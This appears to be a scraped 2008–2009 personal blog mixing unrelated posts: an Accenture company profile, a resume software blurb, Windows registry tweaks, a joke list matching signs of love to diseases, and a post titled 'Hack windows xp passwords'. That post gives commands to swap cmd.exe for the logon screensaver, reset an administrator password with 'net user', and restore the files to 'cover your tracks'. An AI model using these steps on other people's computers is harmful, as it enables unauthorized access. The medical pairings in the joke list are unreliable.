Industries	Aerospace & Defense, Airline, Automotive, Banking, Capital Markets. Chemicals, Communication, Consumer goods and services, Freight and Logistics, Health and life science, Media and Entertainment, Metals and Mining, Retail, Travel, Utilities
Major clients	Accenture's clients span the full range of industries around the world and include 91 of the Fortune Global 100 and two-thirds of the Fortune Global 500. In addition, 97 of top 100 clients in fiscal year 2006, based on revenue, have been clients for at least five years, and 77 have been clients for at least 10 years.
Careers	A challenging job in Accenture provides variety, learning avenues, teamwork and growth. Joining accenture translates into continual opportunities to expand on what one can do Employees follow a defined career path that provides them opportunities to reach milestones throughout their career and proceed to new opportunities in work engagements and responsibilities. The different careerlevelsincludeProgrammers, Senior Programmers, Analyst ProgrammersSystems Analysts, Senior Systems Analysts, Managers, Senior Managers. Each employees’ performance will be reviewed on an annual basis. Employees will be given theopportunity to work on projects and to receive training that contributes to skill enhancement. Performance is assessed across five areas: solutions delivery, operational effectiveness, people development, professional qualities and communications and value creation. The company is looking for candidates with the following skill sets Relational databases Oracle, Sybase, Informix, SQL and DB2 IP and networking C, C++, XML, Java, WebSphere, MS-Exchange, Lotus Notes/Domino Microsoft technologies Visual Studio, ASP, .NET Data warehousing MOLAP, ROLAP and HOLAP, Data Stage, ETI ERP technologies SAP, Oracle, Baan, PeopleSoft Development tools COBOL, Visual Basic, Developer 2000, PowerBuilder eCommerce tools Vignette, Portal
Organizational culture	Accenture is able to consistently deliver leading-edge solutions toclients by bringing together highly talented people in a creative, collaborative environment making daily challenges enjoyable and rewarding and above all turning workmates to lifelong friends
Life atAccenture	At Accenture, one can work with people from a wide range of cultural, educational and geographic backgrounds and experience the satisfaction of finding innovative ways to enable a client to reach its goals. Access to rich information and resources, revolutionary technology and a network of over 100,000 great people all combine to provide a stimulating, supportive professional environment in which to build one’s career.
Other information	As the advertisement caption says “Go on .Be a Tiger”,Tiger Woods' talent, insight and work ethic lend themselves perfectly to Accenture’s capabilities that lead to success through high performance High Performance Business-Strategic Initiative- Accenture has embarked on a major research program to identify the characteristics of the high-performance business. Accenture is co-chairing the World Economic Forum task force on the Digital divide and is taking a lead role in the G8 Digital Opportunities task force. Both initiatives seek to ensure that far more of the world's people are given the chance to benefit from the combination of entrepreneurship and new technology to create a virtuous circle of economic development. Accenture Customer Contact Center Becomes World’s First to Receive COPC Gold Standard Certification, Highest Rating for Quality Customer Service
website	www.accenture.com

Resume Builder Premium

2009-05-26T10:02:00.000-07:00

Resume writing application will help you create a great looking professional visualy exciting resume. Our application does the thinking and writing for you.Resume Builder creates an unlimited number of different, targeted resumes, each with a different objective, each specifically crafted for a different type of position.The interface is extremely intuitive, making it easy for you to build your resume quickly and effortlessly. Different resume styles. Write powerful resumes and cover letters with our professionally designed templates. Resume Builder allows to display the structure of a resume in a user-friendly format, so a user can choose what sections of resume he wants to publish and he can change the order of the Published Sections.
Complete control: We''ve even made the toolbar in Resume Builder fully customizable. Configure it to suit your needs! You can specify font sizes and styles for text and colors for text, background, headers, tables and lines.
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Export resume to HTML generates an HTML based resume that can include embedded hyperlinks, and other web specific functionality. Resume Builder supports printing any section or sections of your resume. Resume Builder is an international program. Resume can be created in English, French, German, Spanish or Italian.

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Registry Hacking

2008-07-02T10:41:00.000-07:00

Display legal notice on startup:
Wanna tell your friends about the do's and dont's in your computer when they login in your absence. Well you can do it pretty easily by displaying a legal notice at system start up.
REGEDIT
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\W

indows\CurrentVersion\policies\system]
"legalnoticecaption"="enter your notice caption"
"legalnoticetext"="enter your legal notice text"

10 Signs Of Being In Love That Might Actually Be Symptoms Of Crippling Or Fatal Disease

2008-07-01T04:43:00.000-07:00

1. Skippy heartbeat when you think of him/her.

You think it's: Love
Medical possibility: Tachycardia which may lead to ventricular fibrillation and myocardial infarction (heart attack)

2. Restless trembling of hands, feet and other body parts.

You think it's: Love
Medical possibility: Parkinson's Disease

3. Constant smiling.

You think it's: Love
Medical possibility: Bell's Palsy

4. Absent mindedness, forgetfulness, inability to focus on tasks at work or home.

You think it's: Love
Medical possibility: early onset Alzheimer's Disease

5. Frequent or constant sexual arousal.

You think it's: Love
Medical possibility: nymphomania

6. Weakening of knees and bursts of energy when he/she calls or comes over.

You think it's: Love
Medical possibility: multiple sclerosis

7. Inability to stop thinking about him/her.

You think it's: Love
Medical possibility: OCD

8. Bruising on neck, breasts and other tender areas.

You think it's: Love
Medical possibility: leukemia

9. Insomnia.

You think it's: Love
Medical possibility: benign prostatic hyperplasia

10. Feeling that you can smell/hear/feel him or her when not in his/her presence.

You think it's: Love
Medical possibility: schizophrenia

Hack windows xp passwords

2008-06-29T08:39:00.000-07:00

Here are the steps involved to Hack the Window XP Administrator Password .
1. Go to Start –> Run –> Type in CMD 2. You will get a command prompt. Enter these commands the way it is given 3. cd\ 4. cd\ windows\system32 5. mkdir temphack 6. copy logon.scr temphack\logon.scr 7. copy cmd.exe temphack\cmd.exe 8. del logon.scr 9. rename cmd.exe logon.scr 10. exit
Wait its not over read the rest to find out how to Hack the Window XP Administrator PasswordA Brief explanation of what you are currently doing here is
Your are nagivating to the windows system Directory where the system files are stored. Next your creating a temporary directory called mkdir. After which you are copying or backing up the logon.scr and cmd.exe files into the mkdir then you are deleting the logon.scr file and renaming cmd.exe file to logon.scr.
So basically you are telling windows is to backup the command program and the screen saver file. Then we edited the settings so when windows loads the screen saver, we will get an unprotected dos prompt without logging in. When this appears enter this command
net user password
Example: If the admin user name is clazh and you want change the password to pass Then type in the following command
net user clazh pass

This will chang the admin password to pass.Thats it you have sucessfully hacked the Window XP Administrator Password now you can Log in, using the hacked Window XP Administrator Password and do whatever you want to do.
Here are the steps involved to De Hack or restore the Window XP Administrator Password to cover your tracks.
1. Go to Start –> Run –> Type in CMD 2. You will get a command prompt. Enter these commands the way it is given 3. cd\ 4. cd\ windows\system32\temphack 5. copy logon.scr C:\windows\system32\logon.scr 6. copy cmd.exe C:\windows\system32\cmd.exe 7. exit
Or simply go to C:\windows\system32\temphack and copy the contents of temphack back into system32 directory click Yes to overwrite the modified files.
Via internetbusinessdaily.net
Note To administrators: You can block the entire password change thing just a little tweak in the local security policy (control panel->administrative tools,works only for administrators group) will disallow any change in password even if u r the Admin (u can put a number of other restrictions too), but be cautious to give other users limitted accounts. After you have done this, the above Screensaver technique will fail.
Update: Christian Mohn points out The Above method is is possible only if you have Local Administrator Privileges. My fault for not checking it up before posting.
Update: The above Method only works if the system is FAT/FAT32 - because of the updated “user rights management” in NTFS - file level rights etc. This does not work on a system using NTFS.

Hide ur drives || Lock ur drives

2008-06-29T07:59:00.000-07:00

Open Registry (go to run command, type "regedit" and press enter)

then go to this key

HKEY_CURRENT_USER\Software\Microsoft\Win

dows\Curre ntVersion\Policies\Explorer

now right click in right side pane and create DWORD Value (blue color)

Rename it as "NoViewOnDrive" (for locking drive)
or
Rename it as "NoDrives" (for Hiding drive)

double click on it and put some numbers to lock ur desired Drive and click ok.

DRIVE NOS.
FOR A : 1
FOR C : 4
FOR D : 8
FOR E : 16
FOR F : 32
FOR G : 64
FOR H : 128

finally restart or log-off the computer to take effect.

Keep in mind that "0" is Default Value to Disable or remove this setting..

After locking the drive when u try to open it, u will see a msgbox like this
"This operation has been cancelled due to restrictions in effect on this computer. Please contact your system administrator"

Add a photo to my computer properties.....

2008-06-29T07:44:00.000-07:00

Add a photo to my computer properties

To do this:
1. Open Notepad.

2. Type the following:
[General]Manufacturer="your_name
Model=HP d530 SFF(DC578AV)
[Support Information]
Line1= Your Ph No
Line2= Your Address.....

3. Save as "oeminfo.ini" in the System32 folder.(Without Quote)

4. Create a bmp file(Your Photo) and save it the System32 folder as "oemlogo.bmp"(Without Quote).

5. Now Check your My Computer Properties.

CONVERT A 512 MB duo/produo/MMC CARD TO 640 MB

2008-06-29T04:25:00.000-07:00

CONVERT A 512 MB duo/produo/MMC CARD TO 640 MB
I guess it works for duo/produo/mmc cards.

PrinCiple:--Your files in duo/produo/MMC is stored in multiple (disk) blocks.
So if you format using 16K block, the space used will be 16K eventhough your file is just 1K.
If you buy DUO/PRO-DUO, it is usually preformatted with 16K block. Therefore a lot of space is wasted as most installed program files are usually less than 2K.

ProCeDure:--
You will need a card reader to do this:-
edit:u can also do it by connecting u r phone via usb

1. Connect card reader and copy all your files in the memory card to computer disk.
(Make sure you set the show all/hidden/os files to "on")
2. Do a format of the memory card using command line "format" and use the /A=size option.
Alternative, you can use the Disk Management in Adminstrative Tools to format.
Make sure you select FAT16. For 256MB memory card, smallest block you can use is 4K, 128MB is 2K, 64Mb is 1K and 32MB is 512B.

(Note: You cannot use the phone "format ext.mem" to do this as the format just clear the allocation table and does not change the block size)

3. Copy back all files to memory card.

Now you will find that you will have more space.
I have installed many software to to my 256MB memory card and it is nearly full. After doing above, I got an "extra" 32MB.

For those who have problem with command line format::

Just use the Disk Managament to format

1. Goto Start->control Panel->Administrative Tools->Computer management->Disk management
2. Select your memory card/usb drive. Right-click and select "Format"
3. Select "FAT". Choose Allocation size. For 256Mb MMC select 4K, 128Mb MMC select 2K, 64Mb MMC select 1K and 32Mb MMC select 512B

Premium Username Password for many Sites..!!

2008-06-12T01:12:00.000-07:00

It's a request for all :- not to change the password !!
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